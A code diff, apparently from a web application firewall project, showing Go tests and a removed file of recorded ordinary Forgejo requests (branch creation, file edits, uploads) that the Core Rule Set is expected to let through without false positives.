|
||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
|
||||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
|
||||||
|
|
||||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
|
||||||
appsUnset: atDefaults(t),
|
|
||||||
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
|
||||||
} {
|
|
||||||
for _, recorded := range requests {
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
||||||
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s: %s %s refused: %+v",
|
|
||||||
apps,
|
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
|
|
||||||
// file or a branch in a body, while bodies are read too.
|
|
||||||
func TestGiteaNamesInBodiesPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
|
|
||||||
func TestForgejoNamesInBodiesPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryGhostRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "ghost-requests.txt", "ghost")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
|
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||||
}
|
}
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
|
|
||||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
|
||||||
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
|
|
||||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
|
||||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
|
||||||
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
|
||||||
